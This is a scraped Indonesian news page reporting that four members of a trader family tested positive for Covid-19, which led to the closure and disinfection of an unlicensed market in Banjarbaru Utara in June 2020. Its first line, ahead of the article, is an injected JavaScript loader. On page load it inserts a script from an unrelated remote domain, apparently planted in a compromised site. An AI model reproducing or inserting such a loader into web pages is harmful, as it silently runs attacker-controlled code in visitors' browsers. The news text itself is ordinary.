(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Satu Keluarga Pedagang Terpapar Covid-19, Berujung Penutupan Pasar di Banjarbaru Utara


KANALKALIMANTAN.COM, BANJARBARU – Temuan kasus positif Covid-19 satu keluarga pedagang di sebuah pasar jalan Karang Anyar II, Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara. Buntut temuan kasus Covid-19 tersebut berujung pada penutupan pasar yang dilakukan oleh pihak Kecamatan Banjarbaru Utara, Selasa (2/6/2020) pagi.

Informasi ini sendiri dibenarkan Juru Bicara Tim Gugus Tugas Percepatan Penanganan Covid-19 Kota Banjarbaru Rizana Mirza. Melalui sambungan telepon, ia mengatakan bahwa satu keluarga pedagang di pasar tersebut memang dinyatakan terpapar.

Namun begitu, satu keluarga ini tidaklah bertempat tinggal di kota Banjarbaru. Mereka merupakan warga Kabupaten Banjar yang berdagang di pasar yang ada di wilayah Banjarbaru.

“Jadi tidak ada warga kota Banjarbaru yang positif. Keluarga ini adalah warga Kabupaten Banjar dan karena bejualan di wilayah kita, maka menjalani pemeriksaan di Puskesmas Banjarbaru Utara,” kata Rizana.

Lantaran tidak terdata di tim Gugus Tugas P2 Covid-19 Banjarbaru,  Rizana mengaku tidak mengetahui jumlah pasti dari keluarga tersebut. Hanya saja, informasi yang dihimpun ialah pemeriksaan swab dari satu keluarga berjumlah 5 orang tersebut, hasilnya 4 orang dinyatakan positif terpapar Covid-19.

Atas temuan kasus baru Covid-19 ini, pihak Kecamatan Banjarbaru Utara memutuskan untuk menutup aktifitas pasar tersebut. Hal yang tak kalah mengejutkan, rupanya pasar itu juga tidak terdata di Dinas Perdagangan Kota Banjarbaru.

“Sebagai antisipasi penyebaran Covid-19, pasar dadakan ini kita tutup. Kita akan sterilkan dulu area pasar ini lewat penyemprotan disinfektan. Keputusan menutup pasar juga didukung adanya bukti kuat bahwa ini bukan pasar resmi,” terangnya.

Penyemprotan disinfektan di pasar jalan Karang Anyar II oleh tim gugus tugas Covid-19 Banjarbaru. Foto: Camat for Kanal

Fakta bahwa pasar dadakan ini tidak resmi, juga turut dipekuat oleh pernyataan Camat Banjarbaru Utara, Aqli. Dalam hal ini, Aqli menuturkan bahwa pasar tersebut berdiri atas izin pemilik tanah. Hanya saja, belum mengantongi izin resmi sebagai pasar di bawah pembinaan dari Dinas Perdagangan Kota Banjarbaru.

“Terlepas adanya temuan kasus Covid-19 dari salah satu pedagang. Fakta bahwa pasar ini tidak punya izin dari Pemerintah Kota Banjarbaru, maka kita putuskan untuk ditutup. Dimulai dari hari ini hingga waktu yang tidak ditentukan,” pungkasnya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

2 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

3 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

4 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

4 jam ago

Wabup Balangan Serahkan Beasiswa Program KBP ke 1.511 Pelajar

KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More

5 jam ago

DKISP Banjar Gelar Penandatanganan Pakta Integritas

KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More

5 jam ago

This website uses cookies.